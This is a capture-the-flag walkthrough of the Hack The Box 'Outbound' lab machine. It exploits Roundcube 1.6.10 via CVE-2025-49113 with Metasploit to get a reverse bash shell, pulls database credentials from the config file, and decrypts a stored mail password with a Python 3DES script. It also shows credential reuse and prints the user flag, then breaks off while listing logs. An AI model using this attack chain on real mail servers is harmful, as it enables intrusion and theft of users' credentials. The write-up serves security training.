Outbound [Easy]
Outbound HTB Season 8
Machine information
As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler
/ LhKL1o9Nm3X2
Author: TheCyberGeek
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ sudo nmap -Pn -sC -sV 10.129.238.143
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 04:40 EDT
Nmap scan report for 10.129.238.143 (10.129.238.143)
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.32 seconds
Add these to /etc/hosts
file:
1
10.129.238.143 mail.outbound.htb
Let’s check out the http://mail.outbound.htb
.
Web Enumeration
So it is a Roundcube Webmail. Let’s use the provided credentials to login.
After login, first thing to check is the version of Roundcube.
So there version is 1.6.10
.
→ Let’s check the vulnerability of this version and found out this application is vulnerable to CVE-2025-49113.
CVE-2025-49113
There is a post from Offsec blog about this vulnerability: CVE-2025-49113 - Roundcube Webmail 1.6.10 - Remote Code Execution.
We can download the exploit from Exploit-DB.
→ Let’s import this exploit to our metasploit
and reload_all
to use it or we can simply update & upgrade metasploit-framework
to the latest version.
After that, turn on metasploit
with sudo msfconsole -q
and search for roundcube
module.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ sudo msfconsole -q
msf6 > search roundcube
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/roundcube_auth_file_read 2017-11-09 normal No Roundcube TimeZone Authenticated File Disclosure
1 exploit/multi/http/roundcube_auth_rce_cve_2025_49113 2025-06-02 excellent Yes Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
2 \_ target: Linux Dropper . . . .
3 \_ target: Linux Command . . . .
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/roundcube_auth_rce_cve_2025_49113
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Command'
Let’s use module 3 and type the options
to see the options.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
msf6 > use 3
[*] Additionally setting TARGET => Linux Command
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > options
Module options (exploit/multi/http/roundcube_auth_rce_cve_2025_49113):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST no The hostname of Roundcube server
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Roundcube Application
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Email User to login with
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Command
View the full module info with the info, or info -d command.
Filled the options and type run
to exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf6 > use 3
[*] Additionally setting TARGET => Linux Command
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set HOST mail.outbound.htb
HOST => mail.outbound.htb
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set USERNAME tyler
USERNAME => tyler
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set PASSWORD LhKL1o9Nm3X2
PASSWORD => LhKL1o9Nm3X2
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set RHOSTS 10.129.238.143
RHOSTS => 10.129.238.143
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set VHOST mail.outbound.htb
VHOST => mail.outbound.htb
msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > run
[*] Started reverse TCP handler on 10.10.14.31:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Extracted version: 10610
[+] The target appears to be vulnerable.
[*] Fetching CSRF token...
[+] Extracted token: Q3z6IKJd2Wz4yXB3SKaarOaimgqxXVkN
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[+] Exploit attempt complete. Check for session.
[*] Command shell session 1 opened (10.10.14.31:4444 -> 10.129.238.143:48828) at 2025-07-13 05:14:13 -0400
bash -i
www-data@mail:/$
So we have a shell as www-data
user.
→ Let’s go around to find anything interesting.
MySQL
After recon, we found out the config file in /var/www/html/roundcube/config/config.inc.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
];
// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
We saw this.
1
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
Which we can use to connect to the MySQL database. And also there is a key that is really interesting.
1
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
This key maybe use to decrypt the password of the one of the user in the database.
→ Let’s check the database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@mail:/var/www/html/roundcube/config$ mysql -u roundcube -p
mysql -u roundcube -p
Enter password: RCDBPass2025
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 106
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
Check the tables in the roundcube
database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
MariaDB [(none)]> use roundcube;
use roundcube;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [roundcube]> show tables;
show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.001 sec)
Gonna check the session
table cause this table store the session of the user.
1
2
3
4
5
6
7
8
9
10
MariaDB [roundcube]> select * from session;
select * from session;
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sess_id | changed | ip | vars |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)
MariaDB [roundcube]>
There we go, found out some encoded data, this could be base64 encoded data.
→ Use CyberChef to decode it.
After decode, we got this.
1
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
We got some creds related to the user jacob
.
- password:
L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
. - auth_secret:
DpYqv6maI9HxDL5GhcCd8JaQQW
. - request_token:
TIsOaABA1zHSXZOBpH6up5XFyayNRHaw
.
3DES CBC mode
So we need to decrypt the password of the user jacob
and we know that the key is rcmail-!24ByteDESkey*Str
.
After some search, we found an issue in mailinabox
project that we can identified that the cipher method is 3DES CBC
mode.
→ We need to decrypt the password with 3DES CBC
mode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
import base64
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
def decrypt_roundcube_password(encrypted_data, des_key):
"""
Decrypt RoundCube password using 3DES CBC with extracted IV
Format: base64(IV + encrypted_data)
"""
try:
# Step 1: Base64 decode the encrypted data
decoded_data = base64.b64decode(encrypted_data)
# Step 2: Extract IV (first 8 bytes) and encrypted data (remaining bytes)
iv = decoded_data[:8]
encrypted_bytes = decoded_data[8:]
# Step 3: Prepare the 3DES key (24 bytes)
key = des_key.encode('utf-8')[:24]
# Step 4: Create 3DES cipher in CBC mode with extracted IV
cipher = DES3.new(key, DES3.MODE_CBC, iv)
# Step 5: Decrypt the data
decrypted_padded = cipher.decrypt(encrypted_bytes)
# Step 6: Remove padding
try:
decrypted = unpad(decrypted_padded, DES3.block_size)
except:
# Manual padding removal if automatic fails
decrypted = decrypted_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08')
# Step 7: Return as string
return decrypted.decode('utf-8', errors='ignore').strip()
except Exception as e:
return f"Decryption failed: {str(e)}"
def main():
# RoundCube DES key
des_key = 'rcmail-!24ByteDESkey*Str'
# Your encrypted data
password = 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
auth_secret = 'DpYqv6maI9HxDL5GhcCd8JaQQW'
request_token = 'TIsOaABA1zHSXZOBpH6up5XFyayNRHaw'
print("RoundCube Password Decryption")
print("=" * 35)
# Decrypt jacob's password
decrypted_password = decrypt_roundcube_password(password, des_key)
print(f"Username: jacob")
print(f"Password: {decrypted_password}")
print()
# Try the other data too
print("Other data:")
print(f"Auth Secret: {decrypt_roundcube_password(auth_secret, des_key)}")
print(f"Request Token: {decrypt_roundcube_password(request_token, des_key)}")
# Show the decryption details for analysis
print(f"\nDecryption Method: 3DES CBC with extracted IV")
decoded = base64.b64decode(password)
print(f"IV (hex): {decoded[:8].hex()}")
print(f"Encrypted data (hex): {decoded[8:].hex()}")
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ python3 decrypt.py
RoundCube Password Decryption
===================================
Username: jacob
Password: 595mO8DmwGeD
Other data:
Auth Secret: Decryption failed: Incorrect padding
Request Token: 2n T#6y
Decryption Method: 3DES CBC with extracted IV
IV (hex): 2fb46fd3403c4eec
Encrypted data (hex): 0902bebb9084f1c5c4a09c8936e409bf
So we got the password of the user jacob
is 595mO8DmwGeD
.
→ Let’s ssh to the machine with this creds.
1
2
3
4
└─$ ssh jacob@10.129.238.143
jacob@10.129.238.143's password:
Permission denied, please try again.
jacob@10.129.238.143's password:
Hmm, can not login with this password.
→ Let’s try to switch user in www-data
to jacob
.
1
2
3
4
5
www-data@mail:/var/www/html/roundcube/config$ su jacob
su jacob
Password: 595mO8DmwGeD
jacob@mail:/var/www/html/roundcube/config$
Successfully switch user to jacob
.
And if we check the ip a
of www-data
we got this.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@mail:/$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether aa:7e:13:60:1b:cb brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
www-data@mail:/$
So this roundcube is use from different container as we can see 172.17.0.2/16
.
Thinking this could be the reason why we can not login jacob
with the password that we got from the database.
→ Let’s check the ip a
of jacob
.
1
2
3
4
5
6
7
8
9
10
11
12
jacob@mail:/var/www/html/roundcube/config$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether fa:f9:81:db:0e:0a brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
As expected, we got the same IP address with www-data
.
→ Let’s go and check the jacob
directory that we can find some interesting files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
jacob@mail:~/mail/INBOX$ cat jacob
cat jacob
From tyler@outbound.htb Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status:
X-Keywords:
Content-Length: 233
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
From mel@outbound.htb Sun Jun 08 12:09:45 2025
Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002)
id 1487E22C; Sun, 8 Jun 2025 12:09:45 +0000 (UTC)
To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun, 8 Jun 2025 12:09:45 +0000 (UTC)
From: mel@outbound.htb
X-UID: 2
Status:
X-Keywords:
Content-Length: 261
We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.
Thanks!
Mel
Found this email from mel
and tyler
and we can see that the password of the user jacob
has been changed to gY4Wr3a1evp4
.
We also notice that the user jacob
has been granted the privilege to inspect the logs and resource monitoring with Below
→ Let’s ssh with new creds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ssh jacob@10.129.238.143
jacob@10.129.238.143's password:
jacob@outbound:~$ ls -la
total 28
drwxr-x--- 3 jacob jacob 4096 Jul 8 20:14 .
drwxr-xr-x 5 root root 4096 Jul 8 20:14 ..
lrwxrwxrwx 1 root root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob 220 Jun 8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun 8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache
-rw-r--r-- 1 jacob jacob 807 Jun 8 12:14 .profile
-rw-r----- 1 root jacob 33 Jul 13 08:39 user.txt
jacob@outbound:~$ cat user.txt
e1541d1ce7ae9e58ca68eaef93e69e81
Nail the user.txt
flag.
Initial Access
After we ssh to jacob
, let’s check the logs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
jacob@outbound:/var/log$ ls -la
total 3612
drwxrwxr-x 13 root syslog 4096 Jul 15 04:27 .
drwxr-xr-x 14 root root 4096 Jul 8 20:14 ..
-rw-r--r-- 1 root root 0 Jul 9 12:39 alternatives.log
-rw-r--r-- 1 root root 174 Jul 8 20:40 alternatives.log.1
-rw-r----- 1 root adm 0 Jul 8 11:13 apport.log
drwxr-xr-x 2 root root 4096 Jul 9 12:39 apt
drwxr-x--- 2 root adm 4096 Jul 10 11:44 audit
-rw-r----- 1 syslog adm 2941 Jul 15 04:30 auth.log
-rw-r----- 1 syslog adm 24245 Jul 10 12:11 auth.log.1
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
-rw-rw---- 1 root utmp 384 Jul 15 04:30 btmp
drwxr-xr-x 2 root root 4096 Jul 8 20:14 dist-upgrade
-rw-r----- 1 root adm 117114 Jul 15 04:27 dmesg
-rw-r----- 1 root adm 116226 Jul 10 12:10 dmesg.0
-rw-r----- 1 root adm 24186 Jul 10 11:44 dmesg.1.gz
-rw-r----- 1 root adm 24283 Jul 9 13:36 dmesg.2.gz
-rw-r----- 1 root adm 24072 Jul 9 12:39 dmesg.3.gz
-rw-r----- 1 root adm 24320 Jul 8 20:52 dmesg.4.gz
-rw-r--r-- 1 root root 0 Jul 9 12:39 dpkg.log
-rw-r--r-- 1 root root 26811 Jul 8 21:06 dpkg.log.1
drwxrwx--- 4 root adm 4096 Jul 8 20:14 installer
drwxr-sr-x+ 3 root systemd-journal 4096 Jul 8 20:14 journal
-rw-r----- 1 syslog adm 141700 Jul 15 04:27 kern.log
-rw-r----- 1 syslog adm 984892 Jul 10 12:11 kern.log.1
drwxr-xr-x 2 landscape landscape 4096 Jul 8 20:39 landscape
-rw-rw-r-- 1 root utmp 292876 Jul 15 04:30 lastlog
drwxr-xr-x 2 _laurel _laurel 4096 Jul 10 11:49 laurel
drwxr-xr-x 2 root adm 4096 Jul 10 11:44 nginx
drwx------ 2 root root 4096 Jul 8 20:14 private
lrwxrwxrwx 1 root root 39 Feb 16 20:57 README -> ../../usr/share/doc/systemd/README.logs
-rw-r----- 1 syslog adm 232478 Jul 15 04:30 syslog
-rw-r----- 1 syslog adm 1762489 Jul 10 12:11 syslog.1
drwxr-xr-x 2 root root 4096 Jul 15 04:27 sysstat
-rw-r--r-- 1 root root 0 Jul 8 20:40 ubuntu-advantage-apt-hook.log
-rw------- 1 root root 195 Jul 10 12:10 vmware-network.1.log
-rw------- 1 root root 253 Jul 10 12:06 vmware-network.2.log
-rw------- 1 root root 195 Jul 10 11:44 vmware-network.3.log
-rw------- 1 root root 193 Jul 9 13:36 vmware-network.4.log
-rw------- 1 root root 193 Jul 9 12:39 vmware-network.5.log
